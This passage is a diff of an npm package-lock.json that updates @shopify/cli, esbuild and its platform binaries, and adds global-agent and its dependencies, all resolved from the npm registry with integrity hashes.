+      "resolved": "https://registry.npmjs.org/@ast-grep/napi-win32-x64-msvc/-/napi-win32-x64-msvc-0.33.0.tgz",
+      "integrity": "sha512-gW7viQQjdPA1HoCkpCqoonC81TOwcpP828w/XqZFE/L6uhD8SF2usul8KNBQOiX3O7/fqYEOnbtWMCrwZIqG1Q==",
       "cpu": [
         "x64"
       ],
@@ -127,10 +178,26 @@
         "node": ">= 10"
       }
     },
+    "node_modules/@esbuild/aix-ppc64": {
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.5.tgz",
+      "integrity": "sha512-9o3TMmpmftaCMepOdA5k/yDw8SfInyzWWTjYTFCX3kPSDJMROQTb8jg+h9Cnwnmm1vOzvxN7gIfB5V2ewpjtGA==",
+      "cpu": [
+        "ppc64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "aix"
+      ],
+      "engines": {
+        "node": ">=18"
+      }
+    },
     "node_modules/@esbuild/android-arm": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.19.8.tgz",
-      "integrity": "sha512-31E2lxlGM1KEfivQl8Yf5aYU/mflz9g06H6S15ITUFQueMFtFjESRMoDSkvMo8thYvLBax+VKTPlpnx+sPicOA==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.5.tgz",
+      "integrity": "sha512-AdJKSPeEHgi7/ZhuIPtcQKr5RQdo6OO2IL87JkianiMYMPbCtot9fxPbrMiBADOWWm3T2si9stAiVsGbTQFkbA==",
       "cpu": [
         "arm"
       ],
@@ -140,13 +207,13 @@
         "android"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/android-arm64": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.19.8.tgz",
-      "integrity": "sha512-B8JbS61bEunhfx8kasogFENgQfr/dIp+ggYXwTqdbMAgGDhRa3AaPpQMuQU0rNxDLECj6FhDzk1cF9WHMVwrtA==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.5.tgz",
+      "integrity": "sha512-VGzGhj4lJO+TVGV1v8ntCZWJktV7SGCs3Pn1GRWI1SBFtRALoomm8k5E9Pmwg3HOAal2VDc2F9+PM/rEY6oIDg==",
       "cpu": [
         "arm64"
       ],
@@ -156,13 +223,13 @@
         "android"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/android-x64": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.19.8.tgz",
-      "integrity": "sha512-rdqqYfRIn4jWOp+lzQttYMa2Xar3OK9Yt2fhOhzFXqg0rVWEfSclJvZq5fZslnz6ypHvVf3CT7qyf0A5pM682A==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.5.tgz",
+      "integrity": "sha512-D2GyJT1kjvO//drbRT3Hib9XPwQeWd9vZoBJn+bu/lVsOZ13cqNdDeqIF/xQ5/VmWvMduP6AmXvylO/PIc2isw==",
       "cpu": [
         "x64"
       ],
@@ -172,13 +239,13 @@
         "android"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/darwin-arm64": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.19.8.tgz",
-      "integrity": "sha512-RQw9DemMbIq35Bprbboyf8SmOr4UXsRVxJ97LgB55VKKeJOOdvsIPy0nFyF2l8U+h4PtBx/1kRf0BelOYCiQcw==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.5.tgz",
+      "integrity": "sha512-GtaBgammVvdF7aPIgH2jxMDdivezgFu6iKpmT+48+F8Hhg5J/sfnDieg0aeG/jfSvkYQU2/pceFPDKlqZzwnfQ==",
       "cpu": [
         "arm64"
       ],
@@ -188,13 +255,13 @@
         "darwin"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/darwin-x64": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.19.8.tgz",
-      "integrity": "sha512-3sur80OT9YdeZwIVgERAysAbwncom7b4bCI2XKLjMfPymTud7e/oY4y+ci1XVp5TfQp/bppn7xLw1n/oSQY3/Q==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.5.tgz",
+      "integrity": "sha512-1iT4FVL0dJ76/q1wd7XDsXrSW+oLoquptvh4CLR4kITDtqi2e/xwXwdCVH8hVHU43wgJdsq7Gxuzcs6Iq/7bxQ==",
       "cpu": [
         "x64"
       ],
@@ -204,13 +271,13 @@
         "darwin"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/freebsd-arm64": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.19.8.tgz",
-      "integrity": "sha512-WAnPJSDattvS/XtPCTj1tPoTxERjcTpH6HsMr6ujTT+X6rylVe8ggxk8pVxzf5U1wh5sPODpawNicF5ta/9Tmw==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.5.tgz",
+      "integrity": "sha512-nk4tGP3JThz4La38Uy/gzyXtpkPW8zSAmoUhK9xKKXdBCzKODMc2adkB2+8om9BDYugz+uGV7sLmpTYzvmz6Sw==",
       "cpu": [
         "arm64"
       ],
@@ -220,13 +287,13 @@
         "freebsd"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/freebsd-x64": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.19.8.tgz",
-      "integrity": "sha512-ICvZyOplIjmmhjd6mxi+zxSdpPTKFfyPPQMQTK/w+8eNK6WV01AjIztJALDtwNNfFhfZLux0tZLC+U9nSyA5Zg==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.5.tgz",
+      "integrity": "sha512-PrikaNjiXdR2laW6OIjlbeuCPrPaAl0IwPIaRv+SMV8CiM8i2LqVUHFC1+8eORgWyY7yhQY+2U2fA55mBzReaw==",
       "cpu": [
         "x64"
       ],
@@ -236,13 +303,13 @@
         "freebsd"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/linux-arm": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.19.8.tgz",
-      "integrity": "sha512-H4vmI5PYqSvosPaTJuEppU9oz1dq2A7Mr2vyg5TF9Ga+3+MGgBdGzcyBP7qK9MrwFQZlvNyJrvz6GuCaj3OukQ==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.5.tgz",
+      "integrity": "sha512-cPzojwW2okgh7ZlRpcBEtsX7WBuqbLrNXqLU89GxWbNt6uIg78ET82qifUy3W6OVww6ZWobWub5oqZOVtwolfw==",
       "cpu": [
         "arm"
       ],
@@ -252,13 +319,13 @@
         "linux"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/linux-arm64": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.19.8.tgz",
-      "integrity": "sha512-z1zMZivxDLHWnyGOctT9JP70h0beY54xDDDJt4VpTX+iwA77IFsE1vCXWmprajJGa+ZYSqkSbRQ4eyLCpCmiCQ==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.5.tgz",
+      "integrity": "sha512-Z9kfb1v6ZlGbWj8EJk9T6czVEjjq2ntSYLY2cw6pAZl4oKtfgQuS4HOq41M/BcoLPzrUbNd+R4BXFyH//nHxVg==",
       "cpu": [
         "arm64"
       ],
@@ -268,13 +335,13 @@
         "linux"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/linux-ia32": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.19.8.tgz",
-      "integrity": "sha512-1a8suQiFJmZz1khm/rDglOc8lavtzEMRo0v6WhPgxkrjcU0LkHj+TwBrALwoz/OtMExvsqbbMI0ChyelKabSvQ==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.5.tgz",
+      "integrity": "sha512-sQ7l00M8bSv36GLV95BVAdhJ2QsIbCuCjh/uYrWiMQSUuV+LpXwIqhgJDcvMTj+VsQmqAHL2yYaasENvJ7CDKA==",
       "cpu": [
         "ia32"
       ],
@@ -284,13 +351,13 @@
         "linux"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/linux-loong64": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.19.8.tgz",
-      "integrity": "sha512-fHZWS2JJxnXt1uYJsDv9+b60WCc2RlvVAy1F76qOLtXRO+H4mjt3Tr6MJ5l7Q78X8KgCFudnTuiQRBhULUyBKQ==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.5.tgz",
+      "integrity": "sha512-0ur7ae16hDUC4OL5iEnDb0tZHDxYmuQyhKhsPBV8f99f6Z9KQM02g33f93rNH5A30agMS46u2HP6qTdEt6Q1kg==",
       "cpu": [
         "loong64"
       ],
@@ -300,13 +367,13 @@
         "linux"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/linux-mips64el": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.19.8.tgz",
-      "integrity": "sha512-Wy/z0EL5qZYLX66dVnEg9riiwls5IYnziwuju2oUiuxVc+/edvqXa04qNtbrs0Ukatg5HEzqT94Zs7J207dN5Q==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.5.tgz",
+      "integrity": "sha512-kB/66P1OsHO5zLz0i6X0RxlQ+3cu0mkxS3TKFvkb5lin6uwZ/ttOkP3Z8lfR9mJOBk14ZwZ9182SIIWFGNmqmg==",
       "cpu": [
         "mips64el"
       ],
@@ -316,13 +383,13 @@
         "linux"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/linux-ppc64": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.19.8.tgz",
-      "integrity": "sha512-ETaW6245wK23YIEufhMQ3HSeHO7NgsLx8gygBVldRHKhOlD1oNeNy/P67mIh1zPn2Hr2HLieQrt6tWrVwuqrxg==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.5.tgz",
+      "integrity": "sha512-UZCmJ7r9X2fe2D6jBmkLBMQetXPXIsZjQJCjgwpVDz+YMcS6oFR27alkgGv3Oqkv07bxdvw7fyB71/olceJhkQ==",
       "cpu": [
         "ppc64"
       ],
@@ -332,13 +399,13 @@
         "linux"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/linux-riscv64": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.19.8.tgz",
-      "integrity": "sha512-T2DRQk55SgoleTP+DtPlMrxi/5r9AeFgkhkZ/B0ap99zmxtxdOixOMI570VjdRCs9pE4Wdkz7JYrsPvsl7eESg==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.5.tgz",
+      "integrity": "sha512-kTxwu4mLyeOlsVIFPfQo+fQJAV9mh24xL+y+Bm6ej067sYANjyEw1dNHmvoqxJUCMnkBdKpvOn0Ahql6+4VyeA==",
       "cpu": [
         "riscv64"
       ],
@@ -348,13 +415,13 @@
         "linux"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/linux-s390x": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.19.8.tgz",
-      "integrity": "sha512-NPxbdmmo3Bk7mbNeHmcCd7R7fptJaczPYBaELk6NcXxy7HLNyWwCyDJ/Xx+/YcNH7Im5dHdx9gZ5xIwyliQCbg==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.5.tgz",
+      "integrity": "sha512-K2dSKTKfmdh78uJ3NcWFiqyRrimfdinS5ErLSn3vluHNeHVnBAFWC8a4X5N+7FgVE1EjXS1QDZbpqZBjfrqMTQ==",
       "cpu": [
         "s390x"
       ],
@@ -364,13 +431,13 @@
         "linux"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/linux-x64": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.19.8.tgz",
-      "integrity": "sha512-lytMAVOM3b1gPypL2TRmZ5rnXl7+6IIk8uB3eLsV1JwcizuolblXRrc5ShPrO9ls/b+RTp+E6gbsuLWHWi2zGg==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.5.tgz",
+      "integrity": "sha512-uhj8N2obKTE6pSZ+aMUbqq+1nXxNjZIIjCjGLfsWvVpy7gKCOL6rsY1MhRh9zLtUtAI7vpgLMK6DxjO8Qm9lJw==",
       "cpu": [
         "x64"
       ],
@@ -380,13 +447,29 @@
         "linux"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/netbsd-arm64": {
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.5.tgz",
+      "integrity": "sha512-pwHtMP9viAy1oHPvgxtOv+OkduK5ugofNTVDilIzBLpoWAM16r7b/mxBvfpuQDpRQFMfuVr5aLcn4yveGvBZvw==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "netbsd"
+      ],
+      "engines": {
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/netbsd-x64": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.19.8.tgz",
-      "integrity": "sha512-hvWVo2VsXz/8NVt1UhLzxwAfo5sioj92uo0bCfLibB0xlOmimU/DeAEsQILlBQvkhrGjamP0/el5HU76HAitGw==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.5.tgz",
+      "integrity": "sha512-WOb5fKrvVTRMfWFNCroYWWklbnXH0Q5rZppjq0vQIdlsQKuw6mdSihwSo4RV/YdQ5UCKKvBy7/0ZZYLBZKIbwQ==",
       "cpu": [
         "x64"
       ],
@@ -396,13 +479,29 @@
         "netbsd"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
+      }
+    },
+    "node_modules/@esbuild/openbsd-arm64": {
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.5.tgz",
+      "integrity": "sha512-7A208+uQKgTxHd0G0uqZO8UjK2R0DDb4fDmERtARjSHWxqMTye4Erz4zZafx7Di9Cv+lNHYuncAkiGFySoD+Mw==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "openbsd"
+      ],
+      "engines": {
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/openbsd-x64": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.19.8.tgz",
-      "integrity": "sha512-/7Y7u77rdvmGTxR83PgaSvSBJCC2L3Kb1M/+dmSIvRvQPXXCuC97QAwMugBNG0yGcbEGfFBH7ojPzAOxfGNkwQ==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.5.tgz",
+      "integrity": "sha512-G4hE405ErTWraiZ8UiSoesH8DaCsMm0Cay4fsFWOOUcz8b8rC6uCvnagr+gnioEjWn0wC+o1/TAHt+It+MpIMg==",
       "cpu": [
         "x64"
       ],
@@ -412,13 +511,13 @@
         "openbsd"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/sunos-x64": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.19.8.tgz",
-      "integrity": "sha512-9Lc4s7Oi98GqFA4HzA/W2JHIYfnXbUYgekUP/Sm4BG9sfLjyv6GKKHKKVs83SMicBF2JwAX6A1PuOLMqpD001w==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.5.tgz",
+      "integrity": "sha512-l+azKShMy7FxzY0Rj4RCt5VD/q8mG/e+mDivgspo+yL8zW7qEwctQ6YqKX34DTEleFAvCIUviCFX1SDZRSyMQA==",
       "cpu": [
         "x64"
       ],
@@ -428,13 +527,13 @@
         "sunos"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/win32-arm64": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.19.8.tgz",
-      "integrity": "sha512-rq6WzBGjSzihI9deW3fC2Gqiak68+b7qo5/3kmB6Gvbh/NYPA0sJhrnp7wgV4bNwjqM+R2AApXGxMO7ZoGhIJg==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.5.tgz",
+      "integrity": "sha512-O2S7SNZzdcFG7eFKgvwUEZ2VG9D/sn/eIiz8XRZ1Q/DO5a3s76Xv0mdBzVM5j5R639lXQmPmSo0iRpHqUUrsxw==",
       "cpu": [
         "arm64"
       ],
@@ -444,13 +543,13 @@
         "win32"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/win32-ia32": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.19.8.tgz",
-      "integrity": "sha512-AIAbverbg5jMvJznYiGhrd3sumfwWs8572mIJL5NQjJa06P8KfCPWZQ0NwZbPQnbQi9OWSZhFVSUWjjIrn4hSw==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.5.tgz",
+      "integrity": "sha512-onOJ02pqs9h1iMJ1PQphR+VZv8qBMQ77Klcsqv9CNW2w6yLqoURLcgERAIurY6QE63bbLuqgP9ATqajFLK5AMQ==",
       "cpu": [
         "ia32"
       ],
@@ -460,13 +559,13 @@
         "win32"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@esbuild/win32-x64": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.19.8.tgz",
-      "integrity": "sha512-bfZ0cQ1uZs2PqpulNL5j/3w+GDhP36k1K5c38QdQg+Swy51jFZWWeIkteNsufkQxp986wnqRRsb/bHbY1WQ7TA==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.5.tgz",
+      "integrity": "sha512-TXv6YnJ8ZMVdX+SXWVBo/0p8LTcrUYngpWjvm91TMjjBQii7Oz11Lw5lbDV5Y0TzuhSJHwiH4hEtC1I42mMS0g==",
       "cpu": [
         "x64"
       ],
@@ -476,13 +575,13 @@
         "win32"
       ],
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       }
     },
     "node_modules/@shopify/cli": {
-      "version": "3.69.3",
-      "resolved": "https://registry.npmjs.org/@shopify/cli/-/cli-3.69.3.tgz",
-      "integrity": "sha512-tc7gH5EOgDvAuSGazTP4zl0Yj4547gwypyDzmUfxb15PExMpj7lMyIQujKyAGwEfu1+LRF3K13Hfgib1sqvUUQ==",
+      "version": "3.81.2",
+      "resolved": "https://registry.npmjs.org/@shopify/cli/-/cli-3.81.2.tgz",
+      "integrity": "sha512-dX5ILPQ86FIvPdUDoYe4A9Jl2cRQ6vZPCD6uT31mRG1xk7cBy/y4rz8PDSZJnB59LjEmiuJQuWC79bq0F1vXVA==",
       "license": "MIT",
       "os": [
         "darwin",
@@ -490,51 +589,290 @@
         "win32"
       ],
       "dependencies": {
-        "@ast-grep/napi": "0.11.0",
-        "esbuild": "0.19.8"
+        "@ast-grep/napi": "0.33.0",
+        "esbuild": "0.25.5",
+        "global-agent": "3.0.0"
       },
       "bin": {
         "shopify": "bin/run.js"
       },
       "engines": {
-        "node": "^18.20.0 || >=20.10.0"
+        "node": ">=20.10.0"
       }
     },
+    "node_modules/boolean": {
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/boolean/-/boolean-3.2.0.tgz",
+      "integrity": "sha512-d0II/GO9uf9lfUHH2BQsjxzRJZBdsjgsBiW4BvhWk/3qoKwQFjIDVN19PfX8F2D/r9PCMTtLWjYVCFrpeYUzsw==",
+      "deprecated": "Package no longer supported. Contact Support at https://www.npmjs.com/support for more info.",
+      "license": "MIT"
+    },
+    "node_modules/define-data-property": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz",
+      "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==",
+      "license": "MIT",
+      "dependencies": {
+        "es-define-property": "^1.0.0",
+        "es-errors": "^1.3.0",
+        "gopd": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/define-properties": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz",
+      "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==",
+      "license": "MIT",
+      "dependencies": {
+        "define-data-property": "^1.0.1",
+        "has-property-descriptors": "^1.0.0",
+        "object-keys": "^1.1.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/detect-node": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz",
+      "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==",
+      "license": "MIT"
+    },
+    "node_modules/es-define-property": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
+      "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/es-errors": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
+      "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/es6-error": {
+      "version": "4.1.1",
+      "resolved": "https://registry.npmjs.org/es6-error/-/es6-error-4.1.1.tgz",
+      "integrity": "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==",
+      "license": "MIT"
+    },
     "node_modules/esbuild": {
-      "version": "0.19.8",
-      "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.19.8.tgz",
-      "integrity": "sha512-l7iffQpT2OrZfH2rXIp7/FkmaeZM0vxbxN9KfiCwGYuZqzMg/JdvX26R31Zxn/Pxvsrg3Y9N6XTcnknqDyyv4w==",
+      "version": "0.25.5",
+      "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.5.tgz",
+      "integrity": "sha512-P8OtKZRv/5J5hhz0cUAdu/cLuPIKXpQl1R9pZtvmHWQvrAUVd0UNIPT4IB4W3rNOqVO0rlqHmCIbSwxh/c9yUQ==",
       "hasInstallScript": true,
       "license": "MIT",
       "bin": {
         "esbuild": "bin/esbuild"
       },
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       },
       "optionalDependencies": {
-        "@esbuild/android-arm": "0.19.8",
-        "@esbuild/android-arm64": "0.19.8",
-        "@esbuild/android-x64": "0.19.8",
-        "@esbuild/darwin-arm64": "0.19.8",
-        "@esbuild/darwin-x64": "0.19.8",
-        "@esbuild/freebsd-arm64": "0.19.8",
-        "@esbuild/freebsd-x64": "0.19.8",
-        "@esbuild/linux-arm": "0.19.8",
-        "@esbuild/linux-arm64": "0.19.8",
-        "@esbuild/linux-ia32": "0.19.8",
-        "@esbuild/linux-loong64": "0.19.8",
-        "@esbuild/linux-mips64el": "0.19.8",
-        "@esbuild/linux-ppc64": "0.19.8",
-        "@esbuild/linux-riscv64": "0.19.8",
-        "@esbuild/linux-s390x": "0.19.8",
-        "@esbuild/linux-x64": "0.19.8",
-        "@esbuild/netbsd-x64": "0.19.8",
-        "@esbuild/openbsd-x64": "0.19.8",
-        "@esbuild/sunos-x64": "0.19.8",
-        "@esbuild/win32-arm64": "0.19.8",
-        "@esbuild/win32-ia32": "0.19.8",
-        "@esbuild/win32-x64": "0.19.8"
+        "@esbuild/aix-ppc64": "0.25.5",
+        "@esbuild/android-arm": "0.25.5",
+        "@esbuild/android-arm64": "0.25.5",
+        "@esbuild/android-x64": "0.25.5",
+        "@esbuild/darwin-arm64": "0.25.5",
+        "@esbuild/darwin-x64": "0.25.5",
+        "@esbuild/freebsd-arm64": "0.25.5",
+        "@esbuild/freebsd-x64": "0.25.5",
+        "@esbuild/linux-arm": "0.25.5",
+        "@esbuild/linux-arm64": "0.25.5",
+        "@esbuild/linux-ia32": "0.25.5",
+        "@esbuild/linux-loong64": "0.25.5",
+        "@esbuild/linux-mips64el": "0.25.5",
+        "@esbuild/linux-ppc64": "0.25.5",
+        "@esbuild/linux-riscv64": "0.25.5",
+        "@esbuild/linux-s390x": "0.25.5",
+        "@esbuild/linux-x64": "0.25.5",
+        "@esbuild/netbsd-arm64": "0.25.5",
+        "@esbuild/netbsd-x64": "0.25.5",
+        "@esbuild/openbsd-arm64": "0.25.5",
+        "@esbuild/openbsd-x64": "0.25.5",
+        "@esbuild/sunos-x64": "0.25.5",
+        "@esbuild/win32-arm64": "0.25.5",
+        "@esbuild/win32-ia32": "0.25.5",
+        "@esbuild/win32-x64": "0.25.5"
+      }
+    },
+    "node_modules/escape-string-regexp": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
+      "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/global-agent": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/global-agent/-/global-agent-3.0.0.tgz",
+      "integrity": "sha512-PT6XReJ+D07JvGoxQMkT6qji/jVNfX/h364XHZOWeRzy64sSFr+xJ5OX7LI3b4MPQzdL4H8Y8M0xzPpsVMwA8Q==",
+      "license": "BSD-3-Clause",
+      "dependencies": {
+        "boolean": "^3.0.1",
+        "es6-error": "^4.1.1",
+        "matcher": "^3.0.0",
+        "roarr": "^2.15.3",
+        "semver": "^7.3.2",
+        "serialize-error": "^7.0.1"
+      },
+      "engines": {
+        "node": ">=10.0"
+      }
+    },
+    "node_modules/globalthis": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz",
+      "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==",
+      "license": "MIT",
